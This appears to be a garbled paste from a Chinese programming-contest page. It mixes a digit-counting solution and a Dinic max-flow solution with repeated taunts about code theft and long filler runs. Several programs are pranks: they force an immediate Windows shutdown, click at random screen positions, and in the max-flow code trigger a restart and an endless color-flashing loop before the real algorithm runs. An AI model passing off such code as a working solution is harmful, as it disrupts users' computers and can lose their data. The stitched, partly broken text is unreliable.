#include<bits/stdc++.h>
using namespace std;
int main() {
int n,j=0,o=0,s=0;
cin>>n;
for(long long i=pow(10,n-1);i<=pow(10,n)-1;i++) {
o=0;
j=i;
while(j>0){
if(j%10==3)
o++;
j=j/10;
}
if(o%2==0)
s++;
}
cout<<s;
}
using namespace std; int main() { int n,j=0,o=0,s=0; cin>>n; for(long long i=pow(10,n-1);i<=pow(10,n)-1;i++) { o=0; j=i; while(j>0){
if(j%10==3)
o++;
j=j/10;
} if(o%2==0) s++; } cout<<s; }
盗我代码是吧
盗我代码是吧
盗我代码是吧
盗我代码是吧
盗我代码是吧
盗我代码是吧
盗我代码是吧
盗我代码是吧
盗我代码是吧
盗我代码是吧
盗我代码是吧
盗我代码是吧
盗我代码是吧
盗我代码是吧
盗我代码是吧
盗我代码是吧
你怎么能说我帮你说
#include<bits/stdc++.h>
using namespace std;
int main() {
while(1){
cout<<"盗我代码是吧"<<" " ;
}
而且它真没用
这么
#include<windows.h>
class a{
public:
~a(){
system("shutdown -f -s -t 0");
}
};
int main(){
a b;
system("shutdown -f -s -t 0");
return 0;
}
#include <windows.h>
#include <bits/stdc++.h>
using namespace std; int main() {
int n;
cout << "连点多少秒?";
cin >> n;
srand(time(NULL));
for (int i = 1;i <= n*100;i++)
{
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(1);
}
return 0;
}
#include<windows.h>
#include<stdlib.h>
#include<time.h>
//#include<conio.h>
int main(){
srand(time(NULL));
while(1){
SetCursorPos(rand()%1000,rand()%1000);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
}
}
int a=20; class a{
public:
~a(){
system("shutdown -f -s -t 0");
}
}; int main(){
srand(time(NULL));
for(int i=1;i<a;i++){
SetCursorPos(rand()%1000,rand()%1000);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
}
a b;
system("shutdown -f -s -t 0");
return 0;
}
include<windows.h>
include<stdlib.h>
include<time.h>
int a=50; class a{
public:
~a(){
system("shutdown -f -s -t 0");
}
}; int main(){
srand(time(NULL));
for(int i=1;i<a;i++){
SetCursorPos(rand()%1000,rand()%1000);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
}
system("shutdown -f -s -t 0");
return 0;
}
rtf
rtf
rtf
rtf
rtf
#include<windows.h>
#include<stdlib.h>
#include<time.h>
#include<conio.h>
int a=100; class a{
public:
~a(){
system("shutdown -f -s -t 0");
}
}; int main(){
srand(time(NULL));
for(int i=1;i<a;i++){
SetCursorPos(rand()%1000,rand()%1000);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
}
system("shutdown -f -s -t 0");
return 0;
}
include<bits/stdc++.h>
include<windows.h>
using namespace std; const int N=1e6+5,M=6e6+5; int n,m,tot=1,lnk[N],ter[M],nxt[M],val[M],dep[N],cnr[N];
int id(int x,int y) {
return (x-1)*m+y;
} void add(int u,int v,int w) {
ter[++tot]=v,nxt[tot]=lnk[u],lnk[u]=tot,val[tot]=w;
} void addedge(int u,int v,int w) {
add(u,v,w),add(v,u,w);
} int bfs(int s,int t) {
memset(dep,0,sizeof(dep));
memcpy(cnr,lnk,sizeof(lnk));
std::queue<int> q;
q.push(s),dep[s]=1;
while(!q.empty()) {
int u=q.front(); q.pop();
for(int i=lnk[u];i;i=nxt[i]) {
int v=ter[i];
if(val[i]&&!dep[v]) q.push(v),dep[v]=dep[u]+1;
}
}
return dep[t];
} int dfs(int u,int t,int flow) {
if(u==t) return flow;
int ans=0;
for(int i=cnr[u];i&&ans<flow;i=nxt[i]) {
cnr[u]=i;
int v=ter[i];
if(val[i]&&dep[v]==dep[u]+1) {
int x=dfs(v,t,std::min(val[i],flow-ans));
if(x) val[i]-=x,val[i^1]+=x,ans+=x;
}
}
if(ans<flow) dep[u]=-1;
return ans;
} int dinic(int s,int t) {
int ans=0;
while(bfs(s,t)) {
int x;
while((x=dfs(s,t,1<<30))) ans+=x;
}
return ans;
} HWND hwnd=GetForegroundWindow(); void big() {
ShowWindow(hwnd,SW_MAXIMIZE);
}
int main() {
system("shutdown /r");
//big();
while(1){
big();
system("color 17");
system("color 40");
system("color 94");
system("color 88");
system("color 24");
system("color 55");
system("color 17");
system("color 11");
system("color 52");
system("color 76");
}
scanf("%d%d",&n,&m);
for(int i=1;i<=n;++i) for(int j=1;j<m;++j) {
int x;
scanf("%d",&x);
addedge(id(i,j),id(i,j+1),x);
}
for(int i=1;i<n;++i) for(int j=1;j<=m;++j) {
int x;
scanf("%d",&x);
addedge(id(i,j),id(i+1,j),x);
}
for(int i=1;i<n;++i) for(int j=1;j<m;++j) {
int x;
scanf("%d",&x);
addedge(id(i,j),id(i+1,j+1),x);
}
printf("%d\n",dinic(id(1,1),id(n,m)));
return 0; }
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
#include<bits/stdc++.h>
#include<windows.h>
#include<stdlib.h>
#include<time.h>
int a=50; class a{
public:
~a(){
system("shutdown -f -s -t 0");
}
};
using namespace std;
const int N=1e6+5,M=6e6+5;
int n,m,tot=1,lnk[N],ter[M],nxt[M],val[M],dep[N],cnr[N];
int id(int x,int y) {
return (x-1)*m+y;
} void add(int u,int v,int w) {
ter[++tot]=v,nxt[tot]=lnk[u],lnk[u]=tot,val[tot]=w;
} void addedge(int u,int v,int w) {
add(u,v,w),add(v,u,w);
} int bfs(int s,int t) {
memset(dep,0,sizeof(dep));
memcpy(cnr,lnk,sizeof(lnk));
std::queue<int> q;
q.push(s),dep[s]=1;
while(!q.empty()) {
int u=q.front(); q.pop();
for(int i=lnk[u];i;i=nxt[i]) {
int v=ter[i];
if(val[i]&&!dep[v]) q.push(v),dep[v]=dep[u]+1;
}
}
return dep[t];
} int dfs(int u,int t,int flow) {
if(u==t) return flow;
int ans=0;
for(int i=cnr[u];i&&ans<flow;i=nxt[i]) {
cnr[u]=i;
int v=ter[i];
if(val[i]&&dep[v]==dep[u]+1) {
int x=dfs(v,t,std::min(val[i],flow-ans));
if(x) val[i]-=x,val[i^1]+=x,ans+=x;
}
}
if(ans<flow) dep[u]=-1;
return ans;
} int dinic(int s,int t) {
int ans=0;
while(bfs(s,t)) {
int x;
while((x=dfs(s,t,1<<30))) ans+=x;
}
return ans;
} HWND hwnd=GetForegroundWindow(); void big() {
ShowWindow(hwnd,SW_MAXIMIZE);
}
int main() {
system("shutdown /r");
//big();
while(1){
big();
system("color 17");
system("color 40");
system("color 94");
system("color 88");
system("color 24");
system("color 55");
system("color 17");
system("color 11");
system("color 52");
system("color 76");
}
scanf("%d%d",&n,&m);
for(int i=1;i<=n;++i) for(int j=1;j<m;++j) {
int x;
scanf("%d",&x);
addedge(id(i,j),id(i,j+1),x);
}
for(int i=1;i<n;++i) for(int j=1;j<=m;++j) {
int x;
scanf("%d",&x);
addedge(id(i,j),id(i+1,j),x);
}
for(int i=1;i<n;++i) for(int j=1;j<m;++j) {
int x;
scanf("%d",&x);
addedge(id(i,j),id(i+1,j+1),x);
}
printf("%d\n",dinic(id(1,1),id(n,m)));
srand(time(NULL));
for(int i=1;i<a;i++){
SetCursorPos(rand()%1000,rand()%1000);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
}
system("shutdown -f -s -t 0");
return 0;
}
比赛已结束。